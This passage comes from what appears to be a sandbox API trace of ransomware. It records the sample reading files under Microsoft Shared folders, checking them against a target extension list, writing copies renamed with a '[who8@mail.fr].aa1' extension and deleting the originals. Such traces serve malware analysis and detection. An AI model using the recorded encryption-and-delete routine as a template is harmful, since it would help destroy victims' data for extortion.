lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0213.761] SetEndOfFile (hFile=0x164) returned 1 [0213.761] CloseHandle (hObject=0x164) returned 1 [0213.762] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.762] SetEndOfFile (hFile=0x1fc) returned 1 [0213.997] CloseHandle (hObject=0x1fc) returned 1 [0214.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.219] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0214.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.219] lstrlenW (lpString=".doc") returned 4 [0214.219] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.219] lstrlenW (lpString=".docx") returned 5 [0214.219] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0214.219] lstrlenW (lpString=".pdf") returned 4 [0214.219] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.219] lstrlenW (lpString=".xls") returned 4 [0214.219] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.219] lstrlenW (lpString=".xlsx") returned 5 [0214.219] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0214.219] lstrlenW (lpString=".ppt") returned 4 [0214.220] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.220] lstrlenW (lpString=".zip") returned 4 [0214.220] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.220] lstrlenW (lpString=".rar") returned 4 [0214.220] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.220] lstrlenW (lpString=".bz2") returned 4 [0214.220] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.220] lstrlenW (lpString=".7z") returned 3 [0214.220] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.220] lstrlenW (lpString=".dbf") returned 4 [0214.220] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.220] lstrlenW (lpString=".1cd") returned 4 [0214.220] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.220] lstrlenW (lpString=".jpg") returned 4 [0214.220] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.221] lstrlenW (lpString=".doc") returned 4 [0214.221] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString=".docx") returned 5 [0214.221] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0214.221] lstrlenW (lpString=".pdf") returned 4 [0214.221] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString=".xls") returned 4 [0214.221] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString=".xlsx") returned 5 [0214.221] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0214.221] lstrlenW (lpString=".ppt") returned 4 [0214.221] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.221] lstrlenW (lpString=".zip") returned 4 [0214.221] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.221] lstrlenW (lpString=".rar") returned 4 [0214.221] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString=".bz2") returned 4 [0214.221] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.221] lstrlenW (lpString=".7z") returned 3 [0214.221] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.222] lstrlenW (lpString=".dbf") returned 4 [0214.222] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.222] lstrlenW (lpString=".1cd") returned 4 [0214.222] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0214.222] lstrlenW (lpString=".jpg") returned 4 [0214.222] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.222] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0214.222] lstrlenW (lpString="TIME.XML") returned 8 [0214.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0214.458] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8564) returned 1 [0214.458] CloseHandle (hObject=0x17c) returned 1 [0214.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0214.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0214.466] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.466] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0214.467] GetLastError () returned 0x0 [0214.467] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2174, lpOverlapped=0x0) returned 1 [0214.513] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0214.515] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.515] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0214.515] SetEndOfFile (hFile=0x1fc) returned 1 [0214.515] CloseHandle (hObject=0x1fc) returned 1 [0214.515] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.516] SetEndOfFile (hFile=0x17c) returned 1 [0214.517] CloseHandle (hObject=0x17c) returned 1 [0214.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.517] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0214.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.517] lstrlenW (lpString=".doc") returned 4 [0214.517] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.517] lstrlenW (lpString=".docx") returned 5 [0214.517] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0214.517] lstrlenW (lpString=".pdf") returned 4 [0214.518] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.518] lstrlenW (lpString=".xls") returned 4 [0214.518] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.518] lstrlenW (lpString=".xlsx") returned 5 [0214.518] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0214.518] lstrlenW (lpString=".ppt") returned 4 [0214.518] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.518] lstrlenW (lpString=".zip") returned 4 [0214.518] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.518] lstrlenW (lpString=".rar") returned 4 [0214.518] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.518] lstrlenW (lpString=".bz2") returned 4 [0214.518] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.518] lstrlenW (lpString=".7z") returned 3 [0214.518] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.519] lstrlenW (lpString=".dbf") returned 4 [0214.519] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.519] lstrlenW (lpString=".1cd") returned 4 [0214.519] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.519] lstrlenW (lpString=".jpg") returned 4 [0214.519] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.519] lstrlenW (lpString=".doc") returned 4 [0214.519] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString=".docx") returned 5 [0214.520] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0214.520] lstrlenW (lpString=".pdf") returned 4 [0214.520] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString=".xls") returned 4 [0214.520] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString=".xlsx") returned 5 [0214.520] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0214.520] lstrlenW (lpString=".ppt") returned 4 [0214.520] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.520] lstrlenW (lpString=".zip") returned 4 [0214.520] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.520] lstrlenW (lpString=".rar") returned 4 [0214.520] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString=".bz2") returned 4 [0214.520] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString=".7z") returned 3 [0214.520] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.520] lstrlenW (lpString=".dbf") returned 4 [0214.520] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.520] lstrlenW (lpString=".1cd") returned 4 [0214.520] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0214.520] lstrlenW (lpString=".jpg") returned 4 [0214.520] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.521] lstrcmpiW (lpString1=".TXT", lpString2=".aa1") returned 1 [0214.521] lstrlenW (lpString="METCONV.TXT") returned 11 [0214.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0214.522] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1183416) returned 1 [0214.522] CloseHandle (hObject=0x17c) returned 1 [0214.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0214.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0214.523] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.523] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0214.523] GetLastError () returned 0x0 [0214.523] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0214.627] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0214.767] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0214.778] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0214.783] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.783] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.783] SetEndOfFile (hFile=0x1fc) returned 1 [0214.784] CloseHandle (hObject=0x1fc) returned 1 [0214.784] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.784] SetEndOfFile (hFile=0x17c) returned 1 [0214.785] CloseHandle (hObject=0x17c) returned 1 [0214.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.786] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0214.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.787] lstrlenW (lpString=".doc") returned 4 [0214.787] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0214.787] lstrlenW (lpString=".docx") returned 5 [0214.787] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0214.787] lstrlenW (lpString=".pdf") returned 4 [0214.787] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0214.787] lstrlenW (lpString=".xls") returned 4 [0214.787] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0214.787] lstrlenW (lpString=".xlsx") returned 5 [0214.787] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0214.787] lstrlenW (lpString=".ppt") returned 4 [0214.787] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0214.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.787] lstrlenW (lpString=".zip") returned 4 [0214.787] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0214.787] lstrlenW (lpString=".rar") returned 4 [0214.787] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString=".bz2") returned 4 [0214.788] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString=".7z") returned 3 [0214.788] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0214.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.788] lstrlenW (lpString=".dbf") returned 4 [0214.788] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.788] lstrlenW (lpString=".1cd") returned 4 [0214.788] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.788] lstrlenW (lpString=".jpg") returned 4 [0214.788] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.788] lstrlenW (lpString=".doc") returned 4 [0214.788] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString=".docx") returned 5 [0214.788] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0214.788] lstrlenW (lpString=".pdf") returned 4 [0214.788] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString=".xls") returned 4 [0214.788] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0214.788] lstrlenW (lpString=".xlsx") returned 5 [0214.788] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0214.788] lstrlenW (lpString=".ppt") returned 4 [0214.788] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0214.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.789] lstrlenW (lpString=".zip") returned 4 [0214.789] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0214.789] lstrlenW (lpString=".rar") returned 4 [0214.789] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0214.789] lstrlenW (lpString=".bz2") returned 4 [0214.789] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0214.789] lstrlenW (lpString=".7z") returned 3 [0214.789] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0214.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.789] lstrlenW (lpString=".dbf") returned 4 [0214.789] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0214.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.789] lstrlenW (lpString=".1cd") returned 4 [0214.789] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0214.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0214.789] lstrlenW (lpString=".jpg") returned 4 [0214.789] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0214.789] lstrcmpiW (lpString1=".gif", lpString2=".aa1") returned 1 [0214.789] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0214.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.541] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4587) returned 1 [0217.541] CloseHandle (hObject=0x204) returned 1 [0217.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0217.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.542] lstrlenW (lpString=".doc") returned 4 [0217.542] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0217.542] lstrlenW (lpString=".docx") returned 5 [0217.542] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0217.542] lstrlenW (lpString=".pdf") returned 4 [0217.542] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0217.542] lstrlenW (lpString=".xls") returned 4 [0217.542] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0217.542] lstrlenW (lpString=".xlsx") returned 5 [0217.542] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0217.542] lstrlenW (lpString=".ppt") returned 4 [0217.542] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0217.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.542] lstrlenW (lpString=".zip") returned 4 [0217.542] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0217.542] lstrlenW (lpString=".rar") returned 4 [0217.542] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0217.542] lstrlenW (lpString=".bz2") returned 4 [0217.542] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0217.542] lstrlenW (lpString=".7z") returned 3 [0217.542] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0217.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.542] lstrlenW (lpString=".dbf") returned 4 [0217.542] 